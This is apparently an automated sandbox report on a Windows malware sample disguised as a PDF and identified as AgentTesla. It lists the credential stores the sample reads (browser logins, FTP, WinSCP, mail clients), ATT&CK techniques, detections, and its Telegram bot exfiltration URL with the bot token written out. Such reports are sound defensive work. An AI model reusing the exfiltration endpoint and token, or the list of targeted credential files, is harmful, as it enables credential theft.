Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Users\user\Desktop\OC 136584.PDF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000006.00000002.498958297.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.266834340.0000000003519000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OC 136584.PDF.exe PID: 7124, type: MEMORY
Source: Yara match	File source: Process Memory Space: OC 136584.PDF.exe PID: 6736, type: MEMORY
Source: Yara match	File source: 6.2.OC 136584.PDF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.OC 136584.PDF.exe.37e4050.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.OC 136584.PDF.exe.36e3da0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.OC 136584.PDF.exe.37e4050.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.OC 136584.PDF.exe.3686180.3.raw.unpack, type: UNPACKEDPE

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\OC 136584.PDF.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\OC 136584.PDF.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\Desktop\OC 136584.PDF.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OC 136584.PDF.exe PID: 7124, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000006.00000002.498958297.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.266834340.0000000003519000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OC 136584.PDF.exe PID: 7124, type: MEMORY
Source: Yara match	File source: Process Memory Space: OC 136584.PDF.exe PID: 6736, type: MEMORY
Source: Yara match	File source: 6.2.OC 136584.PDF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.OC 136584.PDF.exe.37e4050.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.OC 136584.PDF.exe.36e3da0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.OC 136584.PDF.exe.37e4050.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.OC 136584.PDF.exe.3686180.3.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Path Interception	Process Injection112	Masquerading21	OS Credential Dumping2	Query Registry1	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Web Service1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion13	Input Capture11	Security Software Discovery211	Remote Desktop Protocol	Input Capture11	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools1	Credentials in Registry1	Virtualization/Sandbox Evasion13	SMB/Windows Admin Shares	Archive Collected Data11	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection112	NTDS	Process Discovery2	Distributed Component Object Model	Data from Local System2	Scheduled Transfer	Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Application Window Discovery1	SSH	Clipboard Data1	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information131	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing13	DCSync	System Information Discovery114	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
OC 136584.PDF.exe	14%	Metadefender		Browse
OC 136584.PDF.exe	21%	ReversingLabs	ByteCode-MSIL.Backdoor.Androm
OC 136584.PDF.exe	100%	Avira	HEUR/AGEN.1138558
OC 136584.PDF.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.2.OC 136584.PDF.exe.190000.0.unpack	100%	Avira	HEUR/AGEN.1138558	Download File
4.0.OC 136584.PDF.exe.10000.0.unpack	100%	Avira	HEUR/AGEN.1138558	Download File
3.0.OC 136584.PDF.exe.190000.0.unpack	100%	Avira	HEUR/AGEN.1138558	Download File
6.2.OC 136584.PDF.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
6.0.OC 136584.PDF.exe.5f0000.0.unpack	100%	Avira	HEUR/AGEN.1138558	Download File
0.2.OC 136584.PDF.exe.140000.0.unpack	100%	Avira	HEUR/AGEN.1138558	Download File
6.2.OC 136584.PDF.exe.5f0000.1.unpack	100%	Avira	HEUR/AGEN.1138558	Download File
0.0.OC 136584.PDF.exe.140000.0.unpack	100%	Avira	HEUR/AGEN.1138558	Download File
4.2.OC 136584.PDF.exe.10000.0.unpack	100%	Avira	HEUR/AGEN.1138558	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
https://api.telegram.org4Zk	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://mIjlctNEsyMKGExgO3.org	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.telegram.org	149.154.167.220	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	OC 136584.PDF.exe, 00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.apache.org/licenses/LICENSE-2.0	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false		high
http://DynDns.comDynDNS	OC 136584.PDF.exe, 00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.telegram.org	OC 136584.PDF.exe, 00000006.00000002.510324365.0000000002EBA000.00000004.00000001.sdmp	false		high
https://api.telegram.org4Zk	OC 136584.PDF.exe, 00000006.00000002.510324365.0000000002EBA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	OC 136584.PDF.exe, 00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://certificates.godaddy.com/repository/0	OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers?	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false		high
http://certs.godaddy.com/repository/1301	OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	false		high
https://api.telegram.org/bot1683948232:AAHc7uMmgJY5DzV0V0BhJXUizPMr1l1dubE/	OC 136584.PDF.exe, 00000000.00000002.266834340.0000000003519000.00000004.00000001.sdmp, OC 136584.PDF.exe, 00000006.00000002.498958297.0000000000402000.00000040.00000001.sdmp	false		high
http://www.tiro.com	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.godaddy.com/gdig2s1-1823.crl0	OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false		high
https://certs.godaddy.com/repository/0	OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	false		high
http://www.goodfont.co.kr	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css	OC 136584.PDF.exe, 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp	false		high
http://www.carterandcone.coml	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.godaddy.com/gdroot-g2.crl0F	OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false		high
http://mIjlctNEsyMKGExgO3.org	OC 136584.PDF.exe, 00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.godaddy.com/gdroot.crl0F	OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	false		high
http://www.galapagosdesign.com/DPlease	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false		high
http://www.fonts.com	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false		high
http://www.sandoll.co.kr	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://api.telegram.org	OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	false		high
http://certificates.godaddy.com/repository/gdig2.crt0	OC 136584.PDF.exe, 00000006.00000002.510407923.0000000002ECD000.00000004.00000001.sdmp	false		high
https://api.telegram.org/bot1683948232:AAHc7uMmgJY5DzV0V0BhJXUizPMr1l1dubE/sendDocument	OC 136584.PDF.exe, 00000006.00000002.510324365.0000000002EBA000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	OC 136584.PDF.exe, 00000006.00000002.510324365.0000000002EBA000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	OC 136584.PDF.exe, 00000000.00000002.270062469.00000000066A2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	OC 136584.PDF.exe, 00000000.00000002.266834340.0000000003519000.00000004.00000001.sdmp, OC 136584.PDF.exe, 00000006.00000002.498958297.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.telegram.org/bot1683948232:AAHc7uMmgJY5DzV0V0BhJXUizPMr1l1dubE/sendDocumentdocument-----	OC 136584.PDF.exe, 00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	unknown	United Kingdom		62041	TELEGRAMRU	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	356562
Start date:	23.02.2021
Start time:	10:13:25
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	OC 136584.PDF.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/1@1/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 2.9% (good quality ratio 0%) Quality average: 0% Quality standard deviation: 0%
HCA Information:	Successful, ratio: 99% Number of executed functions: 146 Number of non-executed functions: 12
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 104.43.139.144, 52.255.188.83, 104.43.193.48, 168.61.161.212, 40.88.32.150, 184.30.20.56, 51.11.168.160, 8.253.207.120, 67.27.157.254, 8.248.131.254, 8.253.204.121, 67.26.83.254, 51.103.5.186, 52.155.217.156, 20.54.26.129, 92.122.213.194, 92.122.213.247, 51.104.139.180 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, skypedataprdcoleus15.cloudapp.net, wns.notify.trafficmanager.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, blobcollector.events.data.trafficmanager.net, vip2-par02p.wns.notify.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/356562/sample/OC 136584.PDF.exe

Simulations

Behavior and APIs

Time	Type	Description
10:14:25	API Interceptor	643x Sleep call for process: OC 136584.PDF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
149.154.167.220	Quote_13940007.exe	Get hash	malicious	Browse
	SKBM 0222.exe	Get hash	malicious	Browse
	crypted.exe	Get hash	malicious	Browse
	PO-735643-SALES.exe	Get hash	malicious	Browse
	muOvK6dngg.exe	Get hash	malicious	Browse
	SKBM 0222..exe	Get hash	malicious	Browse
	PO 86540.exe	Get hash	malicious	Browse
	Unterlagen PDF.exe	Get hash	malicious	Browse
	JFAaEh5hB6.exe	Get hash	malicious	Browse
	BMfiIGROO2.exe	Get hash	malicious	Browse
	Inv_874520.exe	Get hash	malicious	Browse
	Inv_95736.scr.exe	Get hash	malicious	Browse
	purchase_order.exe	Get hash	malicious	Browse
	RFQ_2345.exe	Get hash	malicious	Browse
	Rechnung.exe	Get hash	malicious	Browse
	Shipping_Doc.exe	Get hash	malicious	Browse
	Purchase_Order16-122020.exe	Get hash	malicious	Browse
	DHL_Shipment_74683783_Details_Pdf.exe	Get hash	malicious	Browse
	Pnzyltwcdn1.exe	Get hash	malicious	Browse
	PO20-001602-1.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api.telegram.org	Quote_13940007.exe	Get hash	malicious	Browse	149.154.167.220
	SKBM 0222.exe	Get hash	malicious	Browse	149.154.167.220
	crypted.exe	Get hash	malicious	Browse	149.154.167.220
	PO-735643-SALES.exe	Get hash	malicious	Browse	149.154.167.220
	muOvK6dngg.exe	Get hash	malicious	Browse	149.154.167.220
	SKBM 0222..exe	Get hash	malicious	Browse	149.154.167.220
	PO 86540.exe	Get hash	malicious	Browse	149.154.167.220
	Unterlagen PDF.exe	Get hash	malicious	Browse	149.154.167.220
	JFAaEh5hB6.exe	Get hash	malicious	Browse	149.154.167.220
	BMfiIGROO2.exe	Get hash	malicious	Browse	149.154.167.220
	Inv_874520.exe	Get hash	malicious	Browse	149.154.167.220
	Inv_95736.scr.exe	Get hash	malicious	Browse	149.154.167.220
	REVISED_INVOICE_Company_BankDetails_fle_doc.xlsx.exe	Get hash	malicious	Browse	149.154.167.220
	purchase_order.exe	Get hash	malicious	Browse	149.154.167.220
	RFQ_2345.exe	Get hash	malicious	Browse	149.154.167.220
	Rechnung.exe	Get hash	malicious	Browse	149.154.167.220
	Shipping_Doc.exe	Get hash	malicious	Browse	149.154.167.220
	Purchase_Order16-122020.exe	Get hash	malicious	Browse	149.154.167.220
	DHL_Shipment_74683783_Details_Pdf.exe	Get hash	malicious	Browse	149.154.167.220
	Pnzyltwcdn1.exe	Get hash	malicious	Browse	149.154.167.220

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TELEGRAMRU	Quote_13940007.exe	Get hash	malicious	Browse	149.154.167.220
	SKBM 0222.exe	Get hash	malicious	Browse	149.154.167.220
	crypted.exe	Get hash	malicious	Browse	149.154.167.220
	PO-735643-SALES.exe	Get hash	malicious	Browse	149.154.167.220
	muOvK6dngg.exe	Get hash	malicious	Browse	149.154.167.220
	SKBM 0222..exe	Get hash	malicious	Browse	149.154.167.220
	PO 86540.exe	Get hash	malicious	Browse	149.154.167.220
	Unterlagen PDF.exe	Get hash	malicious	Browse	149.154.167.220
	JFAaEh5hB6.exe	Get hash	malicious	Browse	149.154.167.220
	BMfiIGROO2.exe	Get hash	malicious	Browse	149.154.167.220
	Inv_874520.exe	Get hash	malicious	Browse	149.154.167.220
	Inv_95736.scr.exe	Get hash	malicious	Browse	149.154.167.220
	purchase_order.exe	Get hash	malicious	Browse	149.154.167.220
	RFQ_2345.exe	Get hash	malicious	Browse	149.154.167.220
	Rechnung.exe	Get hash	malicious	Browse	149.154.167.220
	Shipping_Doc.exe	Get hash	malicious	Browse	149.154.167.220
	Purchase_Order16-122020.exe	Get hash	malicious	Browse	149.154.167.220
	DHL_Shipment_74683783_Details_Pdf.exe	Get hash	malicious	Browse	149.154.167.220
	Pnzyltwcdn1.exe	Get hash	malicious	Browse	149.154.167.220
